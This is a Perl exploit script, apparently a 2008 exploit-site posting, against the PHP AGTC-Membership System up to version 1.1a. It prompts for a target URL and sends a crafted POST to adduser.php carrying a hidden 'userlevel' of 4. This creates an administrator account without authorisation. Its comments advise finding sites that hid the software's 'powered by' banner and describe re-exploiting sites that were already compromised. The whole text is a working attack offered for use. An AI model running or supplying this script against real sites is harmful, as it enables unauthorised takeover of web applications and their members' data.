#!/usr/bin/perl # Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel. # Note: alot of sites run this script and they remove the "powered by" dork. Also you can get access to alot of nice site's member sections using this, since its a member management script. use strict; use LWP::UserAgent; print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n"; print "-+-- Discovered && Coded By: t0pP8uZz / Discovered On: 16 MAY 2008 --+-\n"; print "-+-- 1.1a tested, not sure if there are new versions, if there are... --+-\n"; print "-+-- ... there probarly affected too. Script Download: agtc.co.uk --+-\n"; print "-+-- Greetz: h4ck-y0u.org, milw0rm.com, CipherCrew --+-\n"; print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-\n"; print "\nEnter URL(http://site.com): "; chomp(my $url=); print "\nAdmin Username(create's your admin username): "; chomp(my $usr=); print "\nAdmin Password(create's your admin password): "; chomp(my $pwd=); my $email = "user".int(rand(9999))."\@localhost.com"; # generates a random email, if a attacker has already exploited this site, this allows the script to add another admin account. my $ua = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" ); my $ob = $ua->post( $url."/adduser.php", { "username" => $usr, "userpass" => $pwd, "useremail" => $email, "userlevel" => 4, "Submit" => 1} ); if($ob->is_success && index($ob->content, "registered") != -1) { print "Exploit Successfull! Admin Created! Login: $url\n"; } else { print "Failed. Cause's: username exists or site not vulnerable, try again!"; }